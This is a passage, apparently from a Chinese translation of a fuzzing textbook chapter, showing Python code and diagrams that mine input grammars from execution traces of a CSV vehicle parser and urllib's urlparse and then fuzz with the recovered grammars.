y="-54.8"><company></text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="220" y="-54.8">,</text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="266" y="-54.8"><model></text></g> <g class="edge" id="edge9"><title>1->9</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="71" y="-3.8">van</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="166" y="-3.8">Ford</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="266" y="-3.8">E350</text></g> <g class="edge" id="edge10"><title>9->10</title></g></g></svg>
+
+插入`<year>`。
+
+```py
+v = m.insert_into_tree(tree, ('<year>', '1997'))
+
+```
+
+```py
+	 - Node: <start>		? (<year>:'1997')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<year>:'1997')
+		 -> [0] '1997,'
+		  > ['<year>', ',']
+
+```
+
+```py
+display_tree(tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 329.50 176.00" width="330pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-54.8"><year></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="60" y="-54.8">,</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-54.8"><kind></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-54.8">,</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-54.8"><company></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="250" y="-54.8">,</text></g> <g class="edge" id="edge10"><title>1->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="296" y="-54.8"><model></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-3.8">1997</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-3.8">van</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-3.8">Ford</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="296" y="-3.8">E350</text></g> <g class="edge" id="edge12"><title>11->12</title></g></g></svg>
+
+为了简化生活，我们定义了包装器函数`nt_var()`，该函数将令牌转换为相应的非终结符。
+
+```py
+class TreeMiner(TreeMiner):
+    def nt_var(self, var):
+        return var if is_nonterminal(var) else to_nonterminal(var)
+
+```
+
+现在，我们需要对整个语法应用新的定义。
+
+```py
+class TreeMiner(TreeMiner):
+    def apply_new_definition(self, tree, var, value):
+        nt_var = self.nt_var(var)
+        return self.insert_into_tree(tree, (nt_var, value))
+
+```
+
+该算法实现为`get_derivation_tree()`。
+
+```py
+class TreeMiner(TreeMiner):
+    def get_derivation_tree(self):
+        tree = (START_SYMBOL, [(self.my_input, [])])
+
+        for var, value in self.my_assignments:
+            self.log(0, "%s=%s" % (var, repr(value)))
+            self.apply_new_definition(tree, var, value)
+        return tree
+
+```
+
+`TreeMiner`的用法如下：
+
+```py
+with Tracer(VEHICLES[0]) as tracer:
+    process_vehicle(tracer.my_input)
+assignments = DefineTracker(tracer.my_input, tracer.trace).assignments()
+dt = TreeMiner(tracer.my_input, assignments, log=True)
+dt.tree
+
+```
+
+```py
+ vehicle='1997,van,Ford,E350'
+	 - Node: <start>		? (<vehicle>:'1997,van,Ford,E350')
+		 -> [0] '1997,van,Ford,E350'
+		  > ['<vehicle>']
+ model='E350'
+	 - Node: <start>		? (<model>:'E350')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<model>:'E350')
+		 -> [0] '1997,van,Ford,E350'
+		  > ['1997,van,Ford,', '<model>']
+ company='Ford'
+	 - Node: <start>		? (<company>:'Ford')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<company>:'Ford')
+		 -> [0] '1997,van,Ford,'
+		  > ['1997,van,', '<company>', ',']
+ kind='van'
+	 - Node: <start>		? (<kind>:'van')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<kind>:'van')
+		 -> [0] '1997,van,'
+		  > ['1997,', '<kind>', ',']
+ year='1997'
+	 - Node: <start>		? (<year>:'1997')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<year>:'1997')
+		 -> [0] '1997,'
+		  > ['<year>', ',']
+
+```
+
+```py
+('<start>',
+ [('<vehicle>',
+   [('<year>', [['1997', []]]),
+    (',', []),
+    ('<kind>', [['van', []]]),
+    (',', []),
+    ('<company>', [['Ford', []]]),
+    (',', []),
+    ('<model>', [['E350', []]])])])
+
+```
+
+所获得的派生树如下。
+
+```py
+display_tree(TreeMiner(tracer.my_input, assignments).tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 329.50 176.00" width="330pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-54.8"><year></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="60" y="-54.8">,</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-54.8"><kind></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="142" y="-54.8">,</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-54.8"><company></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="250" y="-54.8">,</text></g> <g class="edge" id="edge10"><title>1->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="296" y="-54.8"><model></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-3.8">1997</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-3.8">van</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="196" y="-3.8">Ford</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="296" y="-3.8">E350</text></g> <g class="edge" id="edge12"><title>11->12</title></g></g></svg>
+
+结合所有的部分：
+
+```py
+trees = []
+for vehicle in VEHICLES:
+    print(vehicle)
+    with Tracer(vehicle) as tracer:
+        process_vehicle(tracer.my_input)
+    assignments = DefineTracker(tracer.my_input, tracer.trace).assignments()
+    trees.append((tracer.my_input, assignments))
+    for var, val in assignments:
+        print(var + " = " + repr(val))
+    print()
+
+```
+
+```py
+1997,van,Ford,E350
+vehicle = '1997,van,Ford,E350'
+model = 'E350'
+company = 'Ford'
+kind = 'van'
+year = '1997'
+
+2000,car,Mercury,Cougar
+vehicle = '2000,car,Mercury,Cougar'
+model = 'Cougar'
+company = 'Mercury'
+kind = 'car'
+year = '2000'
+
+1999,car,Chevy,Venture
+vehicle = '1999,car,Chevy,Venture'
+model = 'Venture'
+company = 'Chevy'
+kind = 'car'
+year = '1999'
+
+```
+
+相应的派生树如下。
+
+```py
+csv_dt = []
+for inputstr, assignments in trees:
+    print(inputstr)
+    dt = TreeMiner(inputstr, assignments)
+    csv_dt.append(dt)
+    display_tree(dt.tree)
+
+```
+
+```py
+1997,van,Ford,E350
+2000,car,Mercury,Cougar
+1999,car,Chevy,Venture
+
+```
+
+### 从派生树中恢复语法
+
+我们定义了一个类`Miner`，该类可以组合多个派生树以生成语法。 初始语法为空。
+
+```py
+class GrammarMiner:
+    def __init__(self):
+        self.grammar = {}
+
+```
+
+`tree_to_grammar()`方法通过一次选择一个节点并将其添加到语法，将我们的派生树转换为语法。 节点名称成为密钥，并且它拥有的所有子代列表都成为该密钥的另一种选择。
+
+```py
+class GrammarMiner(GrammarMiner):
+    def tree_to_grammar(self, tree):
+        node, children = tree
+        one_alt = [ck for ck, gc in children]
+        hsh = {node: [one_alt] if one_alt else []}
+        for child in children:
+            if not is_nonterminal(child[0]):
+                continue
+            chsh = self.tree_to_grammar(child)
+            for k in chsh:
+                if k not in hsh:
+                    hsh[k] = chsh[k]
+                else:
+                    hsh[k].extend(chsh[k])
+        return hsh
+
+```
+
+```py
+gm = GrammarMiner()
+gm.tree_to_grammar(csv_dt[0].tree)
+
+```
+
+```py
+{'<start>': [['<vehicle>']],
+ '<vehicle>': [['<year>', ',', '<kind>', ',', '<company>', ',', '<model>']],
+ '<year>': [['1997']],
+ '<kind>': [['van']],
+ '<company>': [['Ford']],
+ '<model>': [['E350']]}
+
+```
+
+此处生成的语法为`canonical`。 我们定义一个函数`readable()`，该函数采用规范语法并以可读形式返回。
+
+```py
+def readable(grammar):
+    def readable_rule(rule):
+        return ''.join(rule)
+
+    return {k: list(set(readable_rule(a) for a in grammar[k]))
+            for k in grammar}
+
+```
+
+```py
+syntax_diagram(readable(gm.tree_to_grammar(csv_dt[0].tree)))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">vehicle</text></g></g></g></g></svg>
+
+```py
+vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 575.5 62" width="575.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">year</text></g> <g class="terminal"><text x="148.25" y="35">,</text></g> <g class="non-terminal"><text x="209.5" y="35">kind</text></g> <g class="terminal"><text x="270.75" y="35">,</text></g> <g class="non-terminal"><text x="344.75" y="35">company</text></g> <g class="terminal"><text x="418.75" y="35">,</text></g> <g class="non-terminal"><text x="484.25" y="35">model</text></g></g></g></g></svg>
+
+```py
+year
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">1997</text></g></g></g></g></svg>
+
+```py
+kind
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 165.5 62" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g></g></g></svg>
+
+```py
+company
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">Ford</text></g></g></g></g></svg>
+
+```py
+model
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">E350</text></g></g></g></g></svg>
+
+`add_tree()`方法从当前语法中获取非终结点的组合列表，并添加要添加到语法中的树，并更新每个非终结点的定义。
+
+```py
+import [itertools](https://docs.python.org/3/library/itertools.html)
+
+```
+
+```py
+class GrammarMiner(GrammarMiner):
+    def add_tree(self, t):
+        t_grammar = self.tree_to_grammar(t.tree)
+        self.grammar = {
+            key: self.grammar.get(key, []) + t_grammar.get(key, [])
+            for key in itertools.chain(self.grammar.keys(), t_grammar.keys())
+        }
+
+```
+
+`add_tree()`的用法如下：
+
+```py
+inventory_grammar = GrammarMiner()
+for dt in csv_dt:
+    inventory_grammar.add_tree(dt)
+
+```
+
+```py
+syntax_diagram(readable(inventory_grammar.grammar))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">vehicle</text></g></g></g></g></svg>
+
+```py
+vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 575.5 62" width="575.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">year</text></g> <g class="terminal"><text x="148.25" y="35">,</text></g> <g class="non-terminal"><text x="209.5" y="35">kind</text></g> <g class="terminal"><text x="270.75" y="35">,</text></g> <g class="non-terminal"><text x="344.75" y="35">company</text></g> <g class="terminal"><text x="418.75" y="35">,</text></g> <g class="non-terminal"><text x="484.25" y="35">model</text></g></g></g></g></svg>
+
+```py
+year
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 174.0 122" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">2000</text></g></g> <g><g class="terminal"><text x="87.0" y="65">1999</text></g></g> <g><g class="terminal"><text x="87.0" y="95">1997</text></g></g></g></g></svg>
+
+```py
+kind
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 165.5 92" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g> <g><g class="terminal"><text x="82.75" y="65">car</text></g></g></g></g></svg>
+
+```py
+company
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Ford</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Chevy</text></g></g> <g><g class="terminal"><text x="99.75" y="95">Mercury</text></g></g></g></g></svg>
+
+```py
+model
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Venture</text></g></g> <g><g class="terminal"><text x="99.75" y="65">E350</text></g></g> <g><g class="terminal"><text x="99.75" y="95">Cougar</text></g></g></g></g></svg>
+
+给定来自各种输入的执行跟踪，可以定义`update_grammar()`以从跟踪中获取完整的语法。
+
+```py
+class GrammarMiner(GrammarMiner):
+    def update_grammar(self, inputstr, trace):
+        at = self.create_tracker(inputstr, trace)
+        dt = self.create_tree_miner(inputstr, at.assignments())
+        self.add_tree(dt)
+        return self.grammar
+
+    def create_tracker(self, *args):
+        return DefineTracker(*args)
+
+    def create_tree_miner(self, *args):
+        return TreeMiner(*args)
+
+```
+
+完整的语法恢复在`recover_grammar()`中实现。
+
+```py
+def recover_grammar(fn, inputs, **kwargs):
+    miner = GrammarMiner()
+    for inputstr in inputs:
+        with Tracer(inputstr, **kwargs) as tracer:
+            fn(tracer.my_input)
+        miner.update_grammar(tracer.my_input, tracer.trace)
+    return readable(miner.grammar)
+
+```
+
+请注意，语法可以直接从跟踪器检索，而无需中间派生树阶段。 但是，遍历派生树可以使人们检查被碎片化的输入并验证其正确执行。
+
+#### 示例1.恢复清单语法
+
+```py
+inventory_grammar = recover_grammar(process_vehicle, VEHICLES)
+
+```
+
+```py
+inventory_grammar
+
+```
+
+```py
+{'<start>': ['<vehicle>'],
+ '<vehicle>': ['<year>,<kind>,<company>,<model>'],
+ '<year>': ['2000', '1999', '1997'],
+ '<kind>': ['van', 'car'],
+ '<company>': ['Ford', 'Chevy', 'Mercury'],
+ '<model>': ['Venture', 'E350', 'Cougar']}
+
+```
+
+#### 例子2.恢复URL语法
+
+我们的算法足够强大，可以从现实世界的程序中恢复语法。 例如，Python `urlib`模块中的`urlparse`函数接受以下示例URL。
+
+```py
+URLS = [
+    'http://user:pass@www.google.com:80/?q=path#ref',
+    'https://www.cispa.saarland:80/',
+    'http://www.fuzzingbook.org/#News',
+]
+
+```
+
+urllib缓存其中间结果以加快访问速度。 因此，我们需要在每次调用后使用`clear_cache()`将其禁用。
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlparse, clear_cache
+
+```
+
+我们使用示例URL来恢复语法，如下所示。 `urlparse`函数倾向于缓存其先前的解析结果。 因此，我们定义了一个新方法`url_parse()`，该方法在每次调用之前清除缓存。
+
+```py
+def url_parse(url):
+    clear_cache()
+    urlparse(url)
+
+```
+
+```py
+trees = []
+for url in URLS:
+    print(url)
+    with Tracer(url) as tracer:
+        url_parse(tracer.my_input)
+    assignments = DefineTracker(tracer.my_input, tracer.trace).assignments()
+    trees.append((tracer.my_input, assignments))
+    for var, val in assignments:
+        print(var + " = " + repr(val))
+    print()
+
+url_dt = []
+for inputstr, assignments in trees:
+    print(inputstr)
+    dt = TreeMiner(inputstr, assignments)
+    url_dt.append(dt)
+    display_tree(dt.tree)
+
+```
+
+```py
+http://user:pass@www.google.com:80/?q=path#ref
+url = 'http://user:pass@www.google.com:80/?q=path#ref'
+scheme = 'http'
+netloc = 'user:pass@www.google.com:80'
+fragment = 'ref'
+query = 'q=path'
+
+https://www.cispa.saarland:80/
+url = 'https://www.cispa.saarland:80/'
+rest = '//www.cispa.saarland:80/'
+scheme = 'https'
+netloc = 'www.cispa.saarland:80'
+
+http://www.fuzzingbook.org/#News
+url = 'http://www.fuzzingbook.org/#News'
+scheme = 'http'
+netloc = 'www.fuzzingbook.org'
+fragment = 'News'
+
+http://user:pass@www.google.com:80/?q=path#ref
+https://www.cispa.saarland:80/
+http://www.fuzzingbook.org/#News
+
+```
+
+使用`url_parse()`恢复语法。
+
+```py
+url_grammar = recover_grammar(url_parse, URLS, files=['urllib/parse.py'])
+
+```
+
+```py
+syntax_diagram(url_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 165.5 62" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="82.75" y="35">url</text></g></g></g></g></svg>
+
+```py
+url
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 643.5 122" width="643.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="260.5" y="35">scheme</text></g> <g class="terminal"><text x="330.25" y="35">:</text></g> <g class="non-terminal"><text x="391.5" y="35">rest</text></g></g> <g><g class="non-terminal"><text x="161.0" y="65">scheme</text></g> <g class="terminal"><text x="239.25" y="65">://</text></g> <g class="non-terminal"><text x="317.5" y="65">netloc</text></g> <g class="terminal"><text x="391.5" y="65">/#</text></g> <g class="non-terminal"><text x="474.0" y="65">fragment</text></g></g> <g><g class="non-terminal"><text x="95.5" y="95">scheme</text></g> <g class="terminal"><text x="173.75" y="95">://</text></g> <g class="non-terminal"><text x="252.0" y="95">netloc</text></g> <g class="terminal"><text x="326.0" y="95">/?</text></g> <g class="non-terminal"><text x="395.75" y="95">query</text></g> <g class="terminal"><text x="461.25" y="95">#</text></g> <g class="non-terminal"><text x="539.5" y="95">fragment</text></g></g></g></g></svg>
+
+```py
+scheme
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 182.5 92" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">https</text></g></g> <g><g class="terminal"><text x="91.25" y="65">http</text></g></g></g></g></svg>
+
+```py
+netloc
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 369.5 122" width="369.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="184.75" y="35">www.cispa.saarland:80</text></g></g> <g><g class="terminal"><text x="184.75" y="65">user:pass@www.google.com:80</text></g></g> <g><g class="terminal"><text x="184.75" y="95">www.fuzzingbook.org</text></g></g></g></g></svg>
+
+```py
+query
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">q=path</text></g></g></g></g></svg>
+
+```py
+fragment
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">News</text></g></g> <g><g class="terminal"><text x="87.0" y="65">ref</text></g></g></g></g></svg>
+
+```py
+rest
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 296.5 62" width="296.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">//</text></g> <g class="non-terminal"><text x="152.5" y="35">netloc</text></g> <g class="terminal"><text x="222.25" y="35">/</text></g></g></g></g></svg>
+
+恢复的语法相当合理地描述了URL格式。
+
+### 模糊
+
+现在，我们可以使用恢复的语法进行模糊测试，如下所示。
+
+首先，清单语法。
+
+```py
+f = GrammarFuzzer(inventory_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+1997,van,Ford,Venture
+1999,van,Chevy,E350
+1997,car,Ford,Cougar
+2000,van,Mercury,Cougar
+1999,van,Ford,Venture
+1999,van,Ford,E350
+1997,van,Chevy,Venture
+1997,van,Chevy,Venture
+1997,van,Ford,E350
+2000,van,Chevy,Venture
+
+```
+
+接下来，URL语法。
+
+```py
+f = GrammarFuzzer(url_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+http://www.cispa.saarland:80/#ref
+http://www.fuzzingbook.org/?q=path#ref
+http://user:pass@www.google.com:80/?q=path#ref
+https://www.fuzzingbook.org/?q=path#News
+https://www.fuzzingbook.org/#ref
+http://www.cispa.saarland:80/
+https://www.cispa.saarland:80/
+http://www.cispa.saarland:80/
+https://www.cispa.saarland:80/#ref
+http://user:pass@www.google.com:80/
+
+```
+
+这意味着我们现在可以获取一个程序和一些示例，提取其语法，然后将这种语法用于模糊测试。 现在，这是一个很大的机会！
+
+### 简单矿工的问题
+
+我们简单的语法挖掘器的问题之一是假设分配给变量的值是稳定的。 不幸的是，并非在所有情况下都适用。 例如，这里的URL格式略有不同。
+
+```py
+URLS_X = URLS + ['ftp://freebsd.org/releases/5.8']
+
+```
+
+从这组样本生成的语法不如我们先前获得的好
+
+```py
+url_grammar = recover_grammar(url_parse, URLS_X, files=['urllib/parse.py'])
+
+```
+
+```py
+syntax_diagram(url_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 413.0 92" width="413.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="206.5" y="35">url</text></g></g> <g><g class="non-terminal"><text x="95.5" y="65">scheme</text></g> <g class="terminal"><text x="173.75" y="65">://</text></g> <g class="non-terminal"><text x="252.0" y="65">netloc</text></g> <g class="non-terminal"><text x="330.25" y="65">url</text></g></g></g></g></svg>
+
+```py
+url
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 643.5 152" width="643.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="161.0" y="65">scheme</text></g> <g class="terminal"><text x="239.25" y="65">://</text></g> <g class="non-terminal"><text x="317.5" y="65">netloc</text></g> <g class="terminal"><text x="391.5" y="65">/#</text></g> <g class="non-terminal"><text x="474.0" y="65">fragment</text></g></g> <g><g class="non-terminal"><text x="260.5" y="35">scheme</text></g> <g class="terminal"><text x="330.25" y="35">:</text></g> <g class="non-terminal"><text x="391.5" y="35">rest</text></g></g> <g><g class="non-terminal"><text x="95.5" y="95">scheme</text></g> <g class="terminal"><text x="173.75" y="95">://</text></g> <g class="non-terminal"><text x="252.0" y="95">netloc</text></g> <g class="terminal"><text x="326.0" y="95">/?</text></g> <g class="non-terminal"><text x="395.75" y="95">query</text></g> <g class="terminal"><text x="461.25" y="95">#</text></g> <g class="non-terminal"><text x="539.5" y="95">fragment</text></g></g> <g><g class="terminal"><text x="321.75" y="125">/releases/5.8</text></g></g></g></g></svg>
+
+```py
+scheme
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 182.5 122" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">ftp</text></g></g> <g><g class="terminal"><text x="91.25" y="65">https</text></g></g> <g><g class="terminal"><text x="91.25" y="95">http</text></g></g></g></g></svg>
+
+```py
+netloc
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 369.5 152" width="369.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="184.75" y="65">www.cispa.saarland:80</text></g></g> <g><g class="terminal"><text x="184.75" y="35">freebsd.org</text></g></g> <g><g class="terminal"><text x="184.75" y="95">user:pass@www.google.com:80</text></g></g> <g><g class="terminal"><text x="184.75" y="125">www.fuzzingbook.org</text></g></g></g></g></svg>
+
+```py
+query
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">q=path</text></g></g></g></g></svg>
+
+```py
+fragment
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">News</text></g></g> <g><g class="terminal"><text x="87.0" y="65">ref</text></g></g></g></g></svg>
+
+```py
+rest
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 296.5 62" width="296.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">//</text></g> <g class="non-terminal"><text x="152.5" y="35">netloc</text></g> <g class="terminal"><text x="222.25" y="35">/</text></g></g></g></g></svg>
+
+显然，出了点问题。
+
+要调查`url`定义出错的原因，让我们检查URL的跟踪。
+
+```py
+clear_cache()
+with Tracer(URLS_X[0]) as tracer:
+    urlparse(tracer.my_input)
+for i, t in enumerate(tracer.trace):
+    if t[0] in {'call', 'line'} and 'parse.py' in str(t[2]) and t[3]:
+        print(i, t[2]._t()[1], t[3:])
+
+```
+
+```py
+0 361 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+1 367 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+5 119 ({'arg': ''},)
+6 116 ({'arg': ''},)
+7 121 ({'arg': ''},)
+8 122 ({'arg': ''},)
+10 368 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+11 394 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+12 400 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+16 119 ({'arg': ''},)
+17 116 ({'arg': ''},)
+18 121 ({'arg': ''},)
